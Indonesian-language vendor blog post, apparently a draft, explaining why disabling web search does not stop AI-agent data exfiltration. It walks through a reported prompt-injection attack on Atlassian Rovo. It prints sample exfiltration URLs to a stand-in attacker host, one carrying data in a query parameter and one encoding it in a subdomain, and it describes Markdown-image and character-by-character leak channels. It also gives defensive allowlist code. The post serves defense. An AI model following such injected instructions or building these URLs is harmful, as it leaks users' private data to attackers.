Jawaban singkat: Menonaktifkan pencarian web tidak akan menghentikan kebocoran data agen AI karena tombol pengalih (toggle) tersebut hanya menyembunyikan fitur, bukan alat di baliknya. Jika agen masih bisa membuka URL, memuat gambar, atau memanggil konektor, instruksi yang disusupkan (injected instruction) dapat menyisipkan data Anda ke dalam sebuah permintaan. Solusinya bersifat deterministik: agen hanya boleh mengambil URL yang diketik langsung oleh manusia atau dikembalikan oleh alat tepercaya.
Sebagian besar tim menganggap tombol pencarian web sebagai sakelar pemutus risiko keluar (outbound risk). Padahal kenyataannya tidak demikian. Pada bulan Agustus 2026, PromptArmor mendemonstrasikan serangan terhadap Atlassian Rovo yang tetap berhasil meski pencarian web di tingkat organisasi telah dinonaktifkan, dan alasannya berlaku umum untuk setiap agen yang Anda buat maupun beli.
Di bawah ini: jalur-jalur kebocoran data, alasan mengapa perbaikan umum gagal, serta aturan yang terbukti ampuh. Kami membangun Sharkly, ruang kerja tempat agen pemrograman mengambil tugas dari papan bersama, sehingga pertanyaan serupa juga berlaku bagi kami. Masalah prompt injection belum terpecahkan di mana pun, termasuk pada agen pemrograman yang dijalankan Sharkly.
Apa yang dikontrol oleh tombol pencarian web, dan apa yang tidak
Tombol pencarian web mengontrol apakah agen diizinkan memanggil mesin pencari atau tidak. Tombol ini tidak berpengaruh sama sekali pada alat terpisah yang membuka URL dan membaca responsnya. Jika alat pengambil (fetch tool) tersebut tetap aktif, agen masih dapat mengirimkan permintaan ke server mana pun di internet, dan setiap permintaan membawa data di dalam alamatnya.
Pencarian mengembalikan daftar tautan. Fetch mengambil sebuah tautan dan membuat permintaan HTTP. Data keluar dari tenant Anda pada proses fetch tersebut.
Celah itulah inti dari seluruh temuan pada Rovo. Tulisan PromptArmor menyatakan bahwa pengaturan pencarian web "gagal menghapus alat untuk membuka hasil pencarian." Administrator organisasi memang mematikan pencarian, tetapi alat fetch tetap aktif.
Cara agen membangun URL eksfiltrasi
Indirect prompt injection terjadi saat penyerang menyembunyikan instruksi di dalam konten yang nantinya dibaca oleh agen: dokumen, tiket, atau halaman web. Model tidak dapat membedakan secara andal antara permintaan sah Anda dan teks yang ditemukannya di tengah proses. Rantai serangan Rovo, sebagaimana dijelaskan oleh PromptArmor, berlangsung dalam lima langkah:
- Korban mengunggah sebuah berkas, misalnya "Backlog Guide", yang memuat instruksi tersembunyi.
- Kemudian, korban meminta Rovo untuk merapikan tiket Jira mereka.
- Rovo menelusuri Jira dan Confluence, lalu membaca berkas yang telah disusupi racun tersebut sebagai bagian dari pekerjaannya.
- Instruksi yang disusupkan memerintahkan Rovo untuk menambahkan konten tiket dan Confluence ke URL milik penyerang, lalu membukanya menggunakan alat pengambil URL.
- Server penyerang mencatat permintaan tersebut, lengkap dengan datanya. Di sisi lain, korban hanya melihat saran tiket yang tampak wajar.
Tanpa klik, tanpa permintaan persetujuan (approval prompt). Sumber injeksi lain yang disebutkan PromptArmor meliputi: tiket dukungan pelanggan, hasil web saat pencarian aktif, serta konektor pihak ketiga.
Detail kuncinya ada pada langkah 4. PromptArmor melaporkan bahwa "tidak ada perlindungan terhadap pembukaan URL yang dibuat secara dinamis oleh agen." Karena agen menyusun alamat tersebut sendiri, maka alamat itu dapat memuat apa pun yang telah dibacanya.
Seperti apa bentuk URL eksfiltrasi?
Berikut adalah bentuknya, menggunakan domain placeholder:
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
Penyerang membaca parameter d= di log akses mereka. Agen hanya melakukan satu permintaan GET—hal yang memang menjadi fungsi dasar dari alat fetch.
Mengapa menghapus query string tidak membantu: kebocoran subdomain dan DNS
Menghapus bagian ? pada URL adalah solusi pertama yang biasanya dicoba orang. Namun langkah ini gagal. Pada utas Hacker News (306 poin, 138 komentar), Simon Willison menunjukkan bahwa dengan wildcard DNS, data dapat disisipkan ke dalam nama host (hostname):
https://cHJvZCBkYiBjcmVkcw.attacker.example/
Server DNS milik penyerang merespons setiap subdomain dan mencatat setiap kueri pencarian (lookup). Data sudah keluar selama proses resolusi nama domain, bahkan sebelum permintaan HTTP sempat selesai. Komentator lain menambahkan bahwa data dapat disembunyikan di komponen URL mana pun, termasuk kolom kredensial.
Jadi aturannya bukan "bersihkan URL-nya". Versi Willison: masalah sebenarnya adalah "tidak boleh membangun URL secara dinamis sama sekali."
Jalur gambar Markdown
Sebagian agen bahkan tidak membutuhkan alat fetch untuk membocorkan data. Jika antarmuka obrolan merender gambar Markdown dari domain eksternal, model dapat menuliskan kode berikut ke dalam jawabannya:

Peramban pengguna akan memuat gambar tersebut dan otomatis mengirimkan permintaan. Tidak ada yang perlu diklik. PromptArmor mencatat bahwa Rovo merender gambar Markdown dalam output AI dan menyebutnya sebagai vektor eksfiltrasi yang sudah umum diketahui, meskipun laporannya tidak menyertakan rantai serangan terpisah khusus untuk Rovo terkait metode ini.
Jalur ini berada di lapisan perenderan (rendering layer), sehingga pengaturan alat agen mana pun tidak dapat menjangkaunya.
Mengapa aturan "hanya URL terindeks" tetap bocor, satu demi satu karakter
Salah satu langkah mitigasi adalah mengizinkan agen membuka URL hanya jika crawler mesin pencari telah mengindeksnya. Penyerang tentu tidak bisa mengindeks URL yang memuat rahasia Anda, karena rahasia tersebut belum pernah ada di ruang publik sebelumnya.
Johann Rehberger (wunderwuzzi23 di Hacker News) menjelaskan cara mengakali mitigasi ini. Bayangkan seorang penyerang memublikasikan terlebih dahulu satu halaman untuk setiap karakter, mulai dari /a hingga /z, lalu membuatnya terindeks. Injeksi instruksi kemudian memerintahkan agen untuk mengunjungi halaman yang sesuai dengan setiap karakter rahasia secara berurutan. Penyerang cukup membaca urutan kunjungan tersebut di log mereka.
Metode ini memang lambat dan meninggalkan banyak jejak (noisy). Namun cara ini berhasil. Kesimpulan Rehberger: setiap langkah hanya membuat serangan menjadi lebih mahal, bukan mustahil. Ia menegaskan bahwa daftar izin domain (domain allowlist) tetap efektif untuk agen dengan tujuan spesifik, karena langsung memblokir endpoint yang dikendalikan penyerang.
Aturan deterministik: hanya ambil URL dari pengguna atau alat tepercaya
Solusi yang terbukti ampuh bukan dengan meminta model agar lebih berhati-hati, melainkan dengan mencabut kemampuan agen untuk memilih tujuannya:
- Diizinkan: URL yang diketik langsung oleh pengguna ke dalam percakapan.
- Diizinkan: URL persis seperti yang dikembalikan oleh alat tepercaya, misalnya hasil pencarian.
- Diblokir: URL apa pun yang disusun, diedit, atau diperpanjang oleh model.
Penerapan aturan ini harus ditegakkan melalui kode di luar model. Simpan kumpulan URL yang masuk ke dalam percakapan dari sumber-sumber tepercaya, lalu tolak setiap fetch yang string persisnya tidak ditemukan dalam kumpulan tersebut:
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
Ada dua keterbatasan. Pemeriksaan ini tidak mencakup jalur gambar, jadi Anda tetap perlu memblokir gambar eksternal pada output yang dirender. Selain itu, cara ini tidak menghentikan trik karakter-demi-karakter jika alat tepercaya dapat mengembalikan daftar yang telah dirancang penyerang. Karena itulah, domain allowlist tetap perlu ditambahkan sebagai lapisan perlindungan ekstra untuk agen yang berfokus pada tugas sempit.
Ini adalah penerapan konsep lethal trifecta dari Willison: data privat, konten yang tidak tepercaya, dan jalur keluar (outbound channel). Anda tidak bisa menghilangkan dua hal pertama dari agen yang berguna. Namun, Anda bisa membuat jalur ketiga bekerja secara deterministik. OWASP menempatkan prompt injection sebagai LLM01 karena alasan yang sama: tidak ada solusi di sisi model yang benar-benar tuntas.
Daftar periksa bagi siapa pun yang membangun atau membeli agen
Ajukan pertanyaan-pertanyaan ini untuk setiap agen yang memiliki akses ke data privat:
- Catat setiap alat yang dapat membuat permintaan jaringan: fetch, peramban, konektor, webhook, email.
- Apakah setiap tombol pengalih benar-benar menghapus alat terkait, atau hanya menyembunyikan fitur yang menggunakannya?
- Bisakah agen membuka URL yang disusunnya sendiri?
- Apakah gambar Markdown eksternal dirender pada output?
- Apakah terdapat domain allowlist, dan siapa yang mengelolanya?
- Sumber mana saja yang berpotensi menyusupkan injeksi: unggahan, tiket, hasil web, konektor?
- Apa tindakan vendor terhadap laporan keamanan eksternal terakhir mereka, dan seberapa cepat responsnya?
Untuk Rovo, linimasa publik menjawab pertanyaan nomor 7: PromptArmor melaporkan temuan pada 23 Mei 2026, Atlassian mengakui laporan tersebut pada 25 Mei, tindak lanjut pada 4 Juni dan 29 Juli tidak mendapat tanggapan, dan publikasi tulisan dirilis pada 5 Agustus saat Rovo masih rentan. [VERIFIKASI 27-10-2026: belum ditemukan perbaikan atau pernyataan resmi dari Atlassian untuk jalur ini; periksa kembali sebelum dipublikasikan.]
Perlu dicatat bahwa Rovo Dev, agen pemrograman dari Atlassian, merupakan produk yang berbeda dari asisten Rovo dalam temuan ini; artikel kami tentang paket gratis Rovo Dev membahas hal tersebut.
Bagaimana hal ini berlaku bagi agen pemrograman di Sharkly
Agen pemrograman membaca teks yang tidak tepercaya sepanjang hari: isi issue, README, hingga halaman yang diambil dari internet. Sharkly tidak membuat Claude Code atau Codex kebal terhadap ancaman tersebut.
Hal yang diubah oleh Sharkly adalah pihak yang memegang kendali atas batas keluar (outbound boundary). Agen berjalan di Komputer Anda sendiri melalui layanan lokal. Dokumentasi Computers menyatakan bahwa Komputer "menyediakan sistem operasi, berkas, kredensial, akses jaringan, dan alat yang dibutuhkan oleh sebuah Agen." Tempatkan Komputer di balik egress allowlist, maka setiap eksekusi di dalamnya akan mewarisi batasan tersebut, terlepas dari agen mana yang berjalan.
Beberapa batasan lain dari dokumentasi:
- Tamu (Guests) hanya dapat melihat Spaces tempat mereka ditambahkan.
- Tindakan di aplikasi pihak ketiga memerlukan konektor yang telah diotorisasi.
- Dokumentasi Skills menganjurkan untuk tidak pernah menyimpan kata sandi, token, atau kunci rahasia di dalam instruksi atau berkas Skill, sehingga agen yang telah dibajak tidak dapat membacanya dari sana.
Semua hal di atas tidak lantas menghentikan agen menyalahgunakan akses yang sudah dimilikinya. Artikel-artikel kami mengenai izin agen pemrograman, gerbang persetujuan (approval gates), dan guardrail prompt injection membahas di mana batasan-batasan tersebut harus ditarik.
Kesimpulan
Tombol pengalih pencarian web adalah pengaturan fitur produk, bukan kontrol keamanan. Data dapat bocor melalui apa pun yang mampu membuat permintaan: alat fetch, pencarian hostname, atau tag gambar. Tutup jalur-jalur tersebut melalui kode di luar model.
Langkah Anda berikutnya: jalankan daftar periksa tujuh pertanyaan tadi terhadap salah satu agen yang digunakan tim Anda pekan ini, mulai dari pertanyaan nomor 3. Jika Anda menjalankan agen pemrograman di beberapa Komputer, konfigurasikan Sharkly dan tempatkan masing-masing di balik aturan egress yang sudah Anda percayai.
FAQ
Apakah menonaktifkan pencarian web menghentikan prompt injection?
Tidak. Prompt injection dapat berasal dari konten apa pun yang dibaca agen, termasuk berkas unggahan, tiket, dan data konektor. Menonaktifkan pencarian hanya memutus satu sumber konten tidak tepercaya, tetapi injeksi tetap dapat masuk melalui sumber lain dan tetap bisa keluar melalui alat fetch.
Apa itu eksfiltrasi data berbasis URL?
Kondisi ini terjadi saat agen menyisipkan data privat ke dalam sebuah URL lalu mengirimkan permintaan ke URL tersebut. Server penyerang akan mencatat permintaan itu dan membaca datanya. Serangan ini tidak membutuhkan malware sama sekali, cukup agen yang mampu menyusun dan membuka sembarang URL.
Apakah gambar Markdown merupakan risiko keamanan dalam obrolan AI?
Ya, terutama ketika antarmuka obrolan merender gambar dari domain eksternal. Peramban akan mengambil URL gambar secara otomatis, sehingga data apa pun yang ditulis oleh model ke dalam URL tersebut akan sampai ke penyerang tanpa memerlukan klik dari pengguna.
Apakah domain allowlist saja sudah cukup?
Bagi agen spesifik yang hanya membutuhkan segelintir domain, allowlist adalah kontrol terkuat yang tersedia. Namun bagi asisten serbaguna, daftar ini sulit dijaga tetap ketat, sehingga padukanlah dengan aturan bahwa agen tidak boleh mengambil URL yang disusunnya sendiri.
Apakah Atlassian sudah memperbaiki masalah eksfiltrasi pada Rovo?
Hingga 27 Oktober 2026, kami belum menemukan pernyataan maupun konfirmasi perbaikan dari Atlassian untuk jalur serangan yang dipublikasikan oleh PromptArmor. Pantau halaman PromptArmor dan buletin keamanan Atlassian untuk pembaruan terkini.



